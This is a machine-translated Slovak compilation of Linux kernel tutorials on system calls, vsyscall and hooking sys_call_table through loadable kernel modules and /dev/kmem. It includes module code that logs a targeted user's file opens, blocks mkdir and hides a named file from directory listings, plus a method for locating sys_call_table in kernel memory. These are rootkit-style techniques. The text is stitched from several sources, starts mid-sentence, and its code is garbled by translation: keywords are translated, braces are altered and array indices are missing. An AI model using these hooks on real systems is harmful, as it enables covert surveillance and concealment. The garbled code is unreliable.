sysenter_entry (pozri vyššie). Inštrukcia jmp na 0xffffe40e sa vloží na reštart systémového volania so 6 argumentmi (pozri http://lkml.org/lkml/2002/12/18/). Kód umiestnený na stránke sa nachádza v arch / i386 / kernel / vsyscall-enter.S (alebo arch / i386 / kernel / vsyscall-int80.S pre pascu 0x80). Aj keď som zistil, že adresa funkcie __kernel_vsyscall je konštantná, predpokladá sa, že to tak nie je. Pozíciu vstupného bodu do __kernel_vsyscall () možno zvyčajne nájsť z vektora ELF-auxv pomocou parametra AT_SYSINFO. Vektor ELF-auxv obsahuje informácie odovzdané procesu cez zásobník pri spustení a obsahuje rôzne informácie potrebné počas vykonávania programu. Tento vektor obsahuje najmä premenné prostredia procesu, argumenty atď.

Tu je malý príklad C, ako môžete priamo pristupovať k funkcii __kernel_vsyscall: #include int pid; int main () (__asm ​​​​("movl $ 20,% eax \ n" "hovor *% gs: 0x10 \ n" "movl% eax, pid \ n"); printf ("pid:% d \ n" , pid) ; návrat 0 ;) Tento príklad je prevzatý zo stránky Manu Garg, http://www.manugarg.com. Takže vo vyššie uvedenom príklade vykonáme systémové volanie getpid () (číslo 20 alebo inak __NR_getpid). Aby sme pri hľadaní premennej AT_SYSINFO nepreliezali zásobník procesov, využijeme fakt, že systémová knižnica libc.so pri bootovaní skopíruje hodnotu premennej AT_SYSINFO do Thread Control Block (TCB). Na tento blok informácií sa zvyčajne odkazuje selektor v gs. Predpokladáme, že požadovaný parameter sa nachádza na offsete 0x10 a zavoláme na adresu uloženú v % gs: $ 0x10.

Výsledky.

V skutočnosti nie je vždy možné dosiahnuť na tejto platforme špeciálne zvýšenie výkonu ani s podporou FSCF (Fast System Call Facility). Problém je v tom, že tak či onak proces len zriedka hovorí priamo k jadru. A sú na to dobré dôvody. Používanie knižnice libc vám umožňuje zaručiť prenosnosť programu bez ohľadu na verziu jadra. A práve cez štandardnú systémovú knižnicu ide väčšina systémových volaní. Aj keď vytvoríte a nainštalujete najnovšie jadro vytvorené pre platformu, ktorá podporuje FSCF, nie je to zárukou zvýšenia výkonu. Ide o to, že vaša systémová knižnica libc.so bude stále používať int 0x80 a dá sa s tým vyrovnať len prebudovaním glibc. Či sú rozhranie VDSO a __kernel_vsyscall v glibc vôbec podporované, úprimne je pre mňa momentálne ťažké odpovedať.

Odkazy.

Stránka Manu Garga, http://www.manugarg.com
Scatter / Zhromaždiť myšlienky od Johana Peterssona, http://www.trilithium.com/johan/2005/08/linux-gate/
Staré dobré Pochopenie linuxového jadra Kam sa bez neho môžeme dostať :)
A samozrejme, zdrojový kód Linuxu (2.6.22)


Systémové volania

Doteraz všetky programy, ktoré sme vytvorili, museli používať dobre definované mechanizmy jadra na registráciu súborov / proc a ovládačov zariadení. To je skvelé, ak chcete urobiť niečo, čo programátori jadra už majú na mysli, napríklad napísať ovládač zariadenia. Ale čo ak chcete urobiť niečo neobvyklé, zmeniť nejakým spôsobom správanie systému?

Tu je programovanie jadra nebezpečné. Pri písaní nižšie uvedeného príkladu som zničil otvorené systémové volanie. To znamenalo, že nemôžem otvoriť žiadne súbory, nemôžem spustiť žiadne programy a nemôžem vypnúť systém príkazom na vypnutie. Musím vypnúť prúd, aby som ju zastavil. Našťastie žiadne súbory neboli zničené. Aby ste sa uistili, že nestratíte ani súbory, pred zadaním príkazov insmod a rmmod vykonajte synchronizáciu.

Zabudnite na súbory / proc a súbory zariadenia. Sú to len malé detaily. Skutočným procesom komunikácie s jadrom, ktorý používajú všetky procesy, sú systémové volania. Tento mechanizmus sa používa, keď proces požaduje službu od jadra (napríklad otvorenie súboru, spustenie nového procesu alebo vyžiadanie viac pamäte). Ak chcete zmeniť správanie jadra zaujímavým spôsobom, toto je to správne miesto. Mimochodom, ak chcete vidieť, aké systémové volania program používa, urobte: strace .

Vo všeobecnosti proces nemá prístup k jadru. Nemôže získať prístup k pamäti jadra a nemôže volať funkcie jadra. Hardvér CPU vynucuje tento stav vecí (z dobrého dôvodu sa nazýva „chránený režim“). Systémové volania sú výnimkou z tohto všeobecného pravidla. Proces naplní registre príslušnými hodnotami a potom vyvolá špeciálnu inštrukciu, ktorá preskočí na vopred určené miesto v jadre (samozrejme, čítajú ho používateľské procesy, ale neprepisujú ho.) Pri procesoroch Intel sa to robí prerušením 0x80. Hardvér vie, že keď sa na toto miesto dostanete, nie ste dlhšie beží v režime obmedzeného používateľa Namiesto toho používate ako jadro operačného systému, a preto môžete robiť čokoľvek, čo chcete.

Miesto v jadre, na ktoré môže proces skočiť, sa nazýva system_call. Procedúra, ktorá sa tam nachádza, kontroluje číslo systémového volania, ktoré jadru presne povie, čo proces chce. Potom hľadá v tabuľke systémových volaní (sys_call_table) adresu funkcie jadra, ktorá sa má volať. Potom sa zavolá požadovaná funkcia a keď vráti hodnotu, vykoná sa niekoľko systémových kontrol. Výsledok sa potom vráti späť do procesu (alebo do iného procesu, ak proces skončil). Ak chcete vidieť kód, ktorý toto všetko robí, nachádza sa v archíve / zdrojovom súbore.< architecture >/kernel/entry.S, za riadkom ENTRY (system_call).

Ak teda chceme zmeniť spôsob, akým niektoré systémové volanie funguje, prvá vec, ktorú musíme urobiť, je napísať vlastnú funkciu, ktorá vykoná príslušnú vec (zvyčajne pridaním vlastného kódu a potom zavolaním pôvodnej funkcie), potom zmeníme ukazovateľ na sys_call_table, aby ukázal na našu funkciu. Keďže nás môže neskôr zahodiť a nechceme nechať systém v nekonzistentnom stave, je dôležité, aby cleanup_module vrátil tabuľku do pôvodného stavu.

Tu uvedený zdrojový kód je príkladom takéhoto modulu. Chceme špehovať nejakého používateľa a poslať správu cez printk vždy, keď tento používateľ otvorí súbor. Volanie otvoreného súborového systému nahrádzame vlastnou funkciou s názvom our_sys_open. Táto funkcia skontroluje uid (identifikátor používateľa) aktuálneho procesu a ak sa rovná uid, ktoré sledujeme, zavolá printk, aby zobrazil názov súboru, ktorý sa má otvoriť. Potom zavolá pôvodnú otvorenú funkciu s rovnakými parametrami, čím efektívne otvorí súbor.

Funkcia init_module zmení príslušné umiestnenie v sys_call_table a uloží pôvodný ukazovateľ do premennej. Funkcia cleanup_module používa túto premennú na obnovenie všetkého späť do normálu. Tento prístup je nebezpečný z dôvodu možnosti, že existujú dva moduly, ktoré menia rovnaké systémové volanie. Predstavte si, že máme dva moduly, A a B. Otvorené systémové volanie modulu A sa bude nazývať A_open a rovnaké volanie modulu B sa bude volať B_open. Teraz, keď bolo syscall vložené do jadra nahradené A_open, ktoré zavolá pôvodné sys_open, keď urobí čokoľvek, čo potrebuje. Potom bude B vložené do jadra a nahradí systémové volanie B_open, ktoré vyvolá to, čo si myslí, že je pôvodné systémové volanie, ale v skutočnosti je A_open.

Teraz, ak sa najskôr odstráni B, všetko bude v poriadku: toto len obnoví systémové volanie na A_open, ktoré volá originál. Ak sa však odstráni A a potom sa odstráni B, systém sa zrúti. Odstránenie A obnoví systémové volanie na jeho pôvodnú hodnotu, sys_open, čím sa B vylúči zo slučky. Potom, keď sa B odstráni, obnoví systémové volanie na to, čo považuje za pôvodné. V skutočnosti bude volanie smerované na A_open, ktorý už nie je v pamäti. Na prvý pohľad sa zdá, že tento konkrétny problém by sme mohli vyriešiť tak, že by sme skontrolovali, či sa systémové volanie rovná našej otvorenej funkcii, a ak áno, nemeňte hodnotu tohto volania (aby B nezmenil systémové volanie, keď je odstránený), ale stále to bude označovať najhorší problém. Keď je A odstránené, vidí, že systémové volanie bolo zmenené na B_open, takže už neukazuje na A_open, takže neobnoví ukazovateľ na sys_open, kým nebude odstránený z pamäte. Bohužiaľ, B_open sa stále pokúsi zavolať A_open, ktorý už nie je v pamäti, takže aj bez odstránenia B systém stále padá.

Vidím dva spôsoby, ako tomuto problému predchádzať. Najprv obnovte volanie na pôvodnú hodnotu sys_open. Bohužiaľ, sys_open nie je súčasťou tabuľky jadra v / proc / ksyms, takže k nemu nemáme prístup. Ďalším riešením je použiť počet referencií, aby sa zabránilo uvoľneniu modulu. To je dobré pre bežné moduly, ale zlé pre „vzdelávacie“ moduly.

/ * syscall.c * * Ukážka „kradnutia“ systémového volania * / / * Copyright (C) 1998-99 od Ori Pomerantz * / / * Potrebné hlavičkové súbory * / / * Štandardné v moduloch jadra * / #include / * Robíme prácu na jadre * / #include / * Konkrétne ide o modul * / / * Zaoberajte sa CONFIG_MOVERSIONS * / #if CONFIG_MOVERSIONS == 1 #define MODVERSIONS #include #endif #include / * Zoznam systémových volaní * / / * Pre aktuálnu (procesnú) štruktúru potrebujeme * toto, aby sme vedeli, kto je aktuálny používateľ. * / #include / * V 2.2.3 /usr/include/linux/version.h obsahuje * makro na to, ale 2.0.35 "t" - takže ho sem pridám * v prípade potreby. * / #Ifndef KERNEL_VERSION #define KERNEL_VERSION (a , b, c) ((a) * 65536 + (b) * 256 + (c)) #endif #if LINUX_VERSION_CODE> = KERNEL_VERSION (2,2,0) #include #endif / * Tabuľka systémových volaní (tabuľka funkcií). Toto * jednoducho definujeme ako externé a jadro ho * doplní za nás, keď budeme insmod "ed * / extern void * sys_call_table; / * UID, ktoré chceme špehovať - ​​bude vyplnené z * príkazového riadku * / int uid; #if LINUX_VERSION_CODE> = KERNEL_VERSION (2,2,0) MODULE_PARM (uid, "i"); #endif / * Ukazovateľ na pôvodné systémové volanie. Dôvod, * prečo ho ponechávame namiesto volania pôvodnej funkcie * (sys_open), pretože niekto iný mohol * nahradiť systémové volanie pred nami. Všimnite si, že toto * nie je 100% bezpečné, pretože ak iný modul * nahradil sys_open pred nami, potom, keď "vložíme *" zavoláme funkcia v tomto module - a tá * môže byť odstránená skôr ako my. * * Ďalším dôvodom je, že nemôžeme získať sys_open. * Je to statická premenná, takže sa neexportuje. * / Asmlinkage int (* original_call) (const char *, int, int); / * Z nejakého dôvodu mi v 2.2.3 current-> uid dal * nulu, nie skutočné ID používateľa. Snažil som sa nájsť, čo sa pokazilo *, ale nemohol som to urobiť v krátkom čase a * som lenivý - takže jednoducho použijem systémové volanie na získanie * uid, spôsob, akým by proces prebiehal. * * Z nejakého dôvodu po rekompilácii jadra tento * problém zmizol. * / asmlinkage int (* getuid_call) (); / * Funkciu, ktorou "nahradíme sys_open (funkciu * zavolanú pri volaní otvoreného systémového volania). Aby sme * našli presný prototyp s počtom a typom * argumentov, najprv nájdeme pôvodnú funkciu * (to" s na fs / open.c). * * Teoreticky to znamená, že sme "spätí s * aktuálnou verziou jadra. V praxi sa * systémové volania takmer nikdy nemenia (spôsobilo by to zmätok * a vyžadovalo by to prekompilovanie programov, pretože * systémové * volania sú rozhranie medzi jadrom a * procesmi. * / asmlinkage int our_sys_open (const char * názov súboru, príznaky int, režim int) (int i = 0; char ch; / * Skontrolujte, či ide o používateľa, ktorého špehujeme * / if (uid == getuid_call ()) (/ * getuid_call je systémové volanie getuid, * ktoré udáva uid používateľa, ktorý * spustil proces, ktorý zavolal systém * volali sme * / / * Nahláste súbor, ak je to relevantné * / printk ("Súbor otvoril % d:", uid); do (#if LINUX_VERSION_CODE> = KERNEL_VERSION (2,2,0) get_user (ch, názov súboru + i); #else ch = get_user (názov súboru + i); #endif i ++; printk ("% c", ch);) while (ch! = 0); printk ("\ n"));) / * Zavolajte pôvodný sys_open - inak stratíme * schopnosť otvárať súbory * / return original_call (názov súboru, príznaky, režim);) / * Inicializujte modul - nahraďte systémové volanie * / int init_module () (/ * Upozornenie - teraz je na to neskoro, ale možno nabudúce *. .. * / printk ("Som nebezpečný. Dúfam, že ste urobili "); printk (" synchronizácia predtým, ako ma insmod "ed. \ n"); printk ("Môj náprotivok, čistiaci_modul (), je párny"); printk ("nebezpečnejšie. Ak \ n"); printk („ceníte svoj súborový systém, bude“); printk ("be \" synchronizácia; rmmod \ "\ n"); printk ("keď odstránite tento modul. \ n"); / * Ponechajte ukazovateľ na pôvodnú funkciu v * original_call a potom nahraďte systémové volanie * v tabuľke systémových volaní za our_sys_open * / original_call = sys_call_table [__ NR_open]; sys_call_table [__ NR_open] = our_sys_open; / * Ak chcete získať adresu funkcie pre systémové * call foo, prejdite na sys_call_table [__ NR_foo]. * / printk ("Špehovanie UID:% d \ n", uid); / * Získajte systémové volanie pre getuid * / getuid_call = sys_call_table [__ NR_getuid]; návrat 0; ) / * Vyčistenie - zrušte registráciu príslušného súboru z / proc * / void cleanup_module () (/ * Vráťte systémové volanie späť do normálneho stavu * / if (sys_call_table [__ NR_open]! = Our_sys_open) (printk ("Niekto iný sa s the "); printk (" otvorené systémové volanie \ n "); printk (" Systém môže zostať v "); printk (" nestabilný stav. \ n ");) sys_call_table [__ NR_open] = original_call;)

Tento materiál je modifikáciou článku s rovnakým názvom od Vladimíra Meshkova, uverejneného v časopise „Správca systému“

Tento materiál je kópiou článkov Vladimíra Meshkova z časopisu „Správca systému“. Tieto články nájdete na nižšie uvedených odkazoch. Niektoré príklady zdrojových kódov programov boli tiež zmenené - vylepšené, prepracované. (Príklad 4.2 bol značne upravený, pretože som musel zachytiť trochu iné systémové volanie) URL: http://www.samag.ru/img/uploaded/p.pdf http://www.samag.ru/img/uploaded /a3. pdf

Máte otázky? Potom ste tu: [e-mail chránený]

  • 2. Načítateľný modul jadra
  • 4. Príklady odpočúvania systémových hovorov založených na LKM
    • 4.1 Zabránenie vytváraniu adresárov

1. Celkový pohľad na architektúru Linuxu

Najvšeobecnejší vzhľad vám umožňuje vidieť dvojvrstvový model systému. jadro<=>progs V strede (vľavo) je jadro systému. Jadro interaguje priamo s hardvérom počítača, pričom izoluje aplikačné programy od architektonických prvkov. Jadro má sadu služieb poskytovaných aplikačným programom. Služby jadra zahŕňajú vstupné/výstupné operácie (otváranie, čítanie, zápis a správa súborov), vytváranie a správu procesov, ich synchronizáciu a medziprocesovú komunikáciu. Všetky aplikácie vyžadujú služby jadra prostredníctvom systémových volaní.

Druhú úroveň tvoria aplikácie alebo úlohy, a to ako systémové, ktoré určujú funkčnosť systému, tak aj aplikácie, ktoré poskytujú používateľské rozhranie Linuxu. Napriek vonkajšej heterogenite aplikácií sú však schémy interakcie s jadrom rovnaké.

Interakcia s jadrom prebieha cez štandardné rozhranie systémového volania. Rozhranie syscall je kolekcia služieb jadra a definuje formát servisných požiadaviek. Proces požaduje službu prostredníctvom systémového volania špecifickej procedúry jadra, ktorá má podobný vzhľad ako bežné volanie funkcie knižnice. Jadro v mene procesu vykoná požiadavku a vráti procesu potrebné údaje.

V tomto príklade program otvorí súbor, načíta z neho údaje a súbor zatvorí. V tomto prípade operáciu otvorenia (otvorenia), načítania (čítania) a zatvorenia (zatvorenia) súboru vykoná jadro na žiadosť úlohy a funkciu otvorte (2), prečítajte (2) a zatvorte. (2) sú systémové volania.

/ * Zdroj 1.0 * / #include main () (int fd; char buf; / * Otvorte súbor - získajte odkaz (deskriptor súboru) fd * / fd = open ("súbor1", O_RDONLY); / * Prečítajte 80 znakov do vyrovnávacej pamäte buf * / prečítajte ( fd, buf , sizeof (buf)); / * Zatvorte súbor * / close (fd);) / * EOF * / Úplný zoznam systémových volaní OS Linux možno nájsť v /usr/include/asm/unistd. h súbor. Pozrime sa teraz na mechanizmus uskutočňovania systémových volaní pomocou tohto príkladu. Kompilátor po splnení funkcie open () na otvorenie súboru ho skonvertuje na kód zostavy, pričom zabezpečí, aby sa do registrov procesora načítalo číslo systémového volania zodpovedajúce tejto funkcii a jej parametre a následné volanie prerušenia 0x80. Do registrov procesora sa načítajú nasledujúce hodnoty:

  • do registra EAX - telefónne číslo systému. Takže v našom prípade je číslo systémového hovoru 5 (pozri __NR_open).
  • do registra EBX - prvý parameter funkcie (pre open () je to ukazovateľ na reťazec obsahujúci názov otváraného súboru.
  • do registra ECX - druhý parameter (oprávnenia súboru)
Tretí parameter sa načíta do registra EDX, v tomto prípade ho nemáme. Na vykonanie systémového volania v OS Linux sa používa funkcia system_call, ktorá je definovaná (v tomto prípade v závislosti od architektúry i386) v súbore /usr/src/linux/arch/i386/kernel/entry.S. Táto funkcia je vstupným bodom pre všetky systémové volania. Jadro reaguje na prerušenie 0x80 volaním funkcie system_call, čo je v skutočnosti obsluha prerušenia 0x80.

Aby sme sa uistili, že sme na správnej ceste, pozrime sa na otvorený () funkčný kód v systémovej knižnici libc:

# gdb -q /lib/libc.so.6 (gdb) disas open Výpis kódu assembleru pre otvorenie funkcie: 0x000c8080 : zavolajte na 0x1082be< __i686.get_pc_thunk.cx >0x000c8085 : pridajte $ 0x6423b,% ecx 0x000c808b : cmpl $ 0x0,0x1a84 (% ecx) 0x000c8092 : jne 0xc80b1 0x000c8094 : push% ebx 0x000c8095 : mov 0x10 (% esp, 1),% edx 0x000c8099 : mov 0xc (% esp, 1), % ecx 0x000c809d : mov 0x8 (% esp, 1),% ebx 0x000c80a1 : mov $ 0x5,% eax 0x000c80a6 : int $ 0x80 ... Ako nie je ťažké vidieť na posledných riadkoch, parametre sa prenesú do registrov EDX, ECX, EBX a do posledného registra EAX sa vloží číslo systémového volania, ktoré sa rovná 5, ako sme už vedieť.

Teraz sa vráťme k mechanizmu systémových volaní. Takže jadro volá obsluhu prerušenia 0x80 - funkciu system_call. System_call vloží kópie registrov obsahujúcich parametre volania do zásobníka pomocou makra SAVE_ALL a zavolá požadovanú systémovú funkciu pomocou príkazu call. Tabuľka ukazovateľov na funkcie jadra, ktoré implementujú systémové volania, sa nachádza v poli sys_call_table (pozri súbor arch / i386 / kernel / entry.S). Číslo systémového volania, ktoré je v registri EAX, je indexom v tomto poli. Ak je teda EAX 5, zavolá sa funkcia jadra sys_open (). Prečo je potrebné makro SAVE_ALL? Vysvetlenie je veľmi jednoduché. Keďže takmer všetky funkcie jadra systému sú napísané v C, hľadajú svoje parametre v zásobníku. A parametre sa vložia do zásobníka pomocou SAVE_ALL! Hodnota vrátená systémovým volaním je uložená v registri EAX.

Teraz poďme zistiť, ako zachytiť systémové volanie. Pomôže nám s tým mechanizmus načítateľných modulov jadra.

2. Načítateľný modul jadra

Loadable Kernel Module (bežne skracovaný ako LKM - Loadable Kernel Module) je programový kód, ktorý beží v priestore jadra. Hlavnou črtou LKM je schopnosť dynamického načítania a uvoľnenia bez nutnosti reštartovať celý systém alebo prekompilovať jadro.

Každý LKM pozostáva z dvoch hlavných funkcií (minimálne):

  • funkcia inicializácie modulu. Volá sa, keď sa LKM načíta do pamäte: int init_module (void) (...)
  • funkcia uvoľnenia modulu: void cleanup_module (void) (...)
Tu je príklad najjednoduchšieho modulu: / * Zdroj 2.0 * / #include int init_module (void) (printk ("Hello World \ n"); return 0;) void cleanup_module (void) (printk ("Ahoj \ n"));) / * EOF * / Kompilácia a načítanie modulu. Modul sa načíta do pamäte príkazom insmod a načítané moduly sa prezerajú príkazom lsmod: # gcc -c -DMODULE -I / usr / src / linux / include / src-2.0.c # insmod src-2.0. o Upozornenie: načítanie src-2.0 .o poškodí jadro: nie je načítaná licencia Modul src-2.0 s upozorneniami # dmesg | chvost -n 1 Hello World # lsmod | grep src src-2.0 336 0 (nepoužité) # rmmod src-2.0 # dmesg | chvost -n 1 Čau

3. Algoritmus na zachytenie systémového volania založený na LKM

Na implementáciu modulu, ktorý zachytáva systémové volanie, je potrebné definovať odpočúvací algoritmus. Algoritmus je nasledovný:
  • ponechajte si ukazovateľ na pôvodné (pôvodné) volanie, aby ste ho mohli obnoviť
  • vytvorte funkciu, ktorá implementuje nové systémové volanie
  • nahradiť volania v tabuľke systémových volaní sys_call_table, t.j. nastaviť zodpovedajúci ukazovateľ na nové systémové volanie
  • na konci práce (pri uvoľnení modulu) obnovte pôvodné systémové volanie pomocou predtým uloženého ukazovateľa
Sledovanie vám umožňuje zistiť, ktoré systémové volania sa podieľajú na prevádzke používateľskej aplikácie. Jeho sledovaním môžete určiť, ktoré systémové volanie by malo byť zachytené, aby ste prevzali kontrolu nad aplikáciou. # ltrace -S ./src-1.0 ... open ("file1", 0, 01 SYS_open ("súbor1", 0, 01) = 3<... open resumed>) = 3 prečítané (3, SYS_read (3, "123 \ n", 80) = 4<... read resumed>"123 \ n", 80) = 4 zavrieť (3 SYS_close (3) = 0<... close resumed>) = 0 ... Teraz máme dostatok informácií na to, aby sme mohli začať študovať príklady implementácie modulov, ktoré zachytávajú systémové volania.

4. Príklady odpočúvania systémových hovorov založených na LKM

4.1 Zabránenie vytváraniu adresárov

Po vytvorení adresára sa zavolá funkcia jadra sys_mkdir. Ako parameter je zadaný reťazec obsahujúci názov vytvoreného adresára. Zvážte kód, ktorý zachytáva príslušné systémové volanie. / * Zdroj 4.1 * / #include #include #include / * Export tabuľky systémových volaní * / extern void * sys_call_table; / * Definujte ukazovateľ na uloženie pôvodného hovoru * / int (* orig_mkdir) (const char * cesta); / * Vytvorme si vlastné systémové volanie. Naše volanie nerobí nič, len vracia nulovú hodnotu * / int own_mkdir (const char * cesta) (return 0;) / * Počas inicializácie modulu uložíme ukazovateľ na pôvodné volanie a nahradíme systémové volanie * / int init_module ( void) (orig_mkdir = sys_call_table; sys_call_table = own_mkdir; printk ("sys_mkdir nahradený \ n"); return (0);) / * Pri uvoľnení obnovte pôvodné volanie * / void cleanup_module (void) (sys_call_table = orig_mkdir; "sys_mkdir move_ nmkdir ");) / * EOF * / Ak chcete získať objektový modul, spustite nasledujúci príkaz a vykonajte niekoľko experimentov v systéme: # gcc -c -DMODULE -I / usr / src / linux / include / src- 3.1.c # dmesg | chvost -n 1 sys_mkdir nahradené # mkdir test # ls -ald test ls: test: Žiadny takýto súbor alebo adresár # rmmod src-3.1 # dmesg | chvost -n 1 sys_mkdir presunutý späť # mkdir test # ls -ald test drwxr-xr-x 2 root root 4096 2003-12-23 03:46 test Ako vidíte, príkaz "mkdir" nefunguje, resp. nič sa nedeje. Na obnovenie funkčnosti systému stačí vyložiť modul. Toto bolo urobené vyššie.

4.2 Skrytie položky súboru v adresári

Zistite, ktoré systémové volanie je zodpovedné za čítanie obsahu adresára. Aby sme to urobili, napíšeme ďalší testovací fragment, ktorý prečíta aktuálny adresár: / * Zdroj 4.2.1 * / #include #include int main () (DIR * d; struct dirent * dp; d = opendir ("."); dp = readdir (d); return 0;) / * EOF * / Získajte spustiteľný súbor a sledujte ho: # gcc -o src-3.2.1 src-3.2.1.c # ltrace -S ./src-3.2.1 ... opendir ("." SYS_open (".", 100352, 010005141300) = 3 SYS_fstat64 (3, 0xbffff79c, 0x4014c2c0, 3, 0xbffff 874) = 0 SYS_fcntl,04,62cntl,3,62cntl,043 SYS04, 241510 SYS04, 241510 SYS04, 241510, SYS0101 1, 0x4014c2c0) = 0 SYS6a_brk (NULL_SY_805_brk (N) = 0x0806a5f4 SYS_brk (NULL) = 0x0806a5f4 SYS_brk (0x0806b000) = 0x0080<... opendir resumed>) = 0x08049648 readdir (0x08049648 SYS_getdents64 (3,0x08049678, 4096, 0x40014400, 0x4014c2c0) = 528<... readdir resumed>) = 0x08049678 ... Venujte pozornosť poslednému riadku. Obsah adresára číta funkcia getdents64 (getdents je možný v iných jadrách). Výsledok sa uloží ako zoznam štruktúr typu struct dirent a samotná funkcia vráti dĺžku všetkých záznamov v adresári. Máme záujem o dve oblasti tejto štruktúry:
  • d_reclen - veľkosť záznamu
  • d_name - názov súboru
Aby bolo možné skryť záznam súboru o súbore (inými slovami, urobiť ho neviditeľným), je potrebné zachytiť systémové volanie sys_getdents64, nájsť zodpovedajúci záznam v zozname prijatých štruktúr a vymazať ho. Zvážte kód, ktorý vykonáva túto operáciu (autorom pôvodného kódu je Michal Zalewski): / * Zdroj 4.2.2 * / #include #include #include #include #include #include #include #include externe void * sys_call_table; int (* orig_getdents) (u_int fd, struct dirent * dirp, počet u_int); / * Definujte naše vlastné systémové volanie * / int own_getdents (u_int fd, struct dirent * dirp, u_int počet) (unsigned int tmp, n; int t; struct dirent64 (int d_ino1, d_ino2; int d_off1, d_off_off2; unsigned short; d unsigned char d_type; char d_name;) * dirp2, * dirp3; / * Názov súboru, ktorý chceme skryť * / char hide = "file1"; / * Určite dĺžku záznamov v adresári * / tmp = ( * orig_getdents) (fd, dirp, count); if (tmp> 0) (/ * Prideľte pamäť pre štruktúru v priestore jadra a skopírujte do nej obsah adresára * / dirp2 = (struct dirent64 *) kmalloc (tmp, GFP_KERNEL); copy_from_user (dirp2, dirp, tmp) ; / * Použijeme druhú štruktúru a uložíme dĺžku záznamov do adresára * / dirp3 = dirp2; t = tmp; / * Začnime hľadať náš súbor * / while (t> 0) (/ * Prečítajte si dĺžku prvého záznamu a zistite zostávajúcu dĺžku záznamov v adresári * / n = dirp3-> d_reclen; t - = n; / * Skontrolujte, či názov súboru z aktuálneho záznamu zodpovedá hľadanému * / if (strstr ((char *) & (dirp3-> d_name), (char *) & hide)! = NULL) (/ * Ak áno, prepíšte záznam a vypočítajte novú dĺžku záznamov v adresári * / memcpy (dirp3, (char *) dirp3 + dirp3-> d_reclen, t); tmp - = n; ) / * Umiestnite ukazovateľ na nasledujúci záznam a pokračujte v hľadaní * / dirp3 = (struct dirent64 *) ((char *) dirp3 + dirp3-> d_reclen); ) / * Vráti výsledok a uvoľní pamäť * / copy_to_user (dirp, dirp2, tmp); kfree (dirp2); ) / * Vráti dĺžku záznamov v adresári * / return tmp; ) / * Funkcie inicializácie a uvoľnenia modulu majú štandardný tvar * / int init_module (void) (orig_getdents = sys_call_table; sys_call_table = own_getdents; return 0;) void cleanup_module () (sys_call_table = orig_getdents;) / * EOF compiled * / Having tento kód, všimnite si, ako "file1" zmizne podľa potreby.

5. Metóda priameho prístupu k adresnému priestoru jadra / dev / kmem

Uvažujme najskôr teoreticky, ako prebieha odpočúvanie metódou priameho prístupu do adresného priestoru jadra, a potom pristúpime k praktickej realizácii.

Priamy prístup k adresnému priestoru jadra poskytuje súbor zariadenia / dev / kmem. Tento súbor zobrazuje všetok dostupný priestor virtuálnych adries vrátane odkladacej oblasti (odkladacia oblasť). Na prácu so súborom kmem sa používajú štandardné systémové funkcie - otvorenie (), čítanie (), zápis (). Po otvorení / dev / kmem štandardným spôsobom sa môžeme odvolávať na akúkoľvek adresu v systéme a uviesť ju ako offset v tomto súbore. Túto metódu vyvinul Silvio Cesare.

Systémové funkcie sú prístupné načítaním funkčných parametrov do registrov procesora a následným volaním softvérového prerušenia 0x80. Obsluha prerušenia, funkcia system_call, vloží parametre volania do zásobníka, získa adresu volanej systémovej funkcie z tabuľky sys_call_table a prenesie riadenie na túto adresu.

S plným prístupom do adresného priestoru jadra môžeme získať celý obsah tabuľky systémových volaní, t.j. adresy všetkých funkcií systému. Zmenou adresy akéhokoľvek systémového volania ho tak zachytíme. Na to však potrebujete poznať adresu tabuľky, alebo inými slovami, offset v súbore / dev / kmem, kde sa táto tabuľka nachádza.

Ak chcete určiť adresu sys_call_table, musíte najskôr vypočítať adresu funkcie system_call. Keďže táto funkcia je obsluha prerušení, pozrime sa, ako sa s prerušeniami zaobchádza v chránenom režime.

V reálnom režime sa procesor pri registrácii prerušenia odvoláva na tabuľku vektorov prerušení, ktorá je vždy na samom začiatku pamäte a obsahuje dve podmienené adresy programov na spracovanie prerušení. V chránenom režime je tabuľka deskriptorov prerušení (IDT) umiestnená v operačnom systéme v chránenom režime analogická tabuľke vektorov prerušení. Aby sa procesor dostal k tejto tabuľke, musí byť jeho adresa načítaná do registra IDTR (Interrupt Descriptor Table Register). IDT obsahuje deskriptory pre obsluhu prerušení, ktoré zahŕňajú najmä ich adresy. Tieto deskriptory sa nazývajú brány (brány). Procesor po zaregistrovaní prerušenia svojim číslom vytiahne bránu z IDT, určí adresu handlera a odovzdá mu riadenie.

Na výpočet adresy funkcie system_call z tabuľky IDT je ​​potrebné extrahovať bránu prerušenia int $ 0x80 a z nej - adresu príslušného handlera, t.j. adresa funkcie system_call. Vo funkcii system_call sa prístup k tabuľke system_call_table vykonáva príkazom call<адрес_таблицы>(,% eax, 4). Po nájdení operačného kódu (podpisu) tohto príkazu v súbore / dev / kmem nájdeme aj adresu tabuľky systémových volaní.

Na určenie operačného kódu použijeme debugger a rozoberieme funkciu system_call:

# gdb -q / usr / src / linux / vmlinux (gdb) disas system_call Výpis kódu assembleru pre funkciu system_call: 0xc0194cbc : push% eax 0xc0194cbd : cld 0xc0194cbe : push% es 0xc0194cbf : push% ds 0xc0194cc0 : push% eax 0xc0194cc1 : push% ebp 0xc0194cc2 : push% edi 0xc0194cc3 : push% esi 0xc0194cc4 : push% edx 0xc0194cc5 : push% ecx 0xc0194cc6 : push% ebx 0xc0194cc7 : mov $ 0x18,% edx 0xc0194ccc : mov% edx,% ds 0xc0194cce : mov% edx,% es 0xc0194cd0 : mov $ 0xffffe000,% ebx 0xc0194cd5 : a% esp,% ebx 0xc0194cd7 : testb $ 0x2,0x18 (% ebx) 0xc0194cdb : jne 0xc0194d3c 0xc0194cdd : cmp $ 0x10e,% eax 0xc0194ce2 : jae 0xc0194d69 0xc0194ce8 : zavolať * 0xc02cbb0c (,% eax, 4) 0xc0194cef : mov% eax, 0x18 (% esp, 1) 0xc0194cf3 : nop Koniec výpisu z assemblera. Riadok "call * 0xc02cbb0c (,% eax, 4)" je volanie tabuľky sys_call_table. Hodnota 0xc02cbb0c je adresa tabuľky (s najväčšou pravdepodobnosťou budú vaše čísla iné). Získame operačný kód tohto príkazu: (gdb) x / xw system_call + 44 0xc0194ce8 : 0x0c8514ff Našli sme operačný kód pre príkaz na prístup k tabuľke sys_call_table. Je to \ xff \ x14 \ x85. Nasledujúce 4 bajty sú adresou tabuľky. Môžete to overiť zadaním príkazu: (gdb) x / xw system_call + 44 + 3 0xc0194ceb : 0xc02cbb0c Nájdením sekvencie \ xff \ x14 \ x85 v súbore / dev / kmem a prečítaním nasledujúcich 4 bajtov získame adresu tabuľky systémových volaní sys_call_table. Keď poznáme jeho adresu, môžeme získať obsah tejto tabuľky (adresy všetkých funkcií systému) a zmeniť adresu akéhokoľvek systémového volania jeho zachytením.
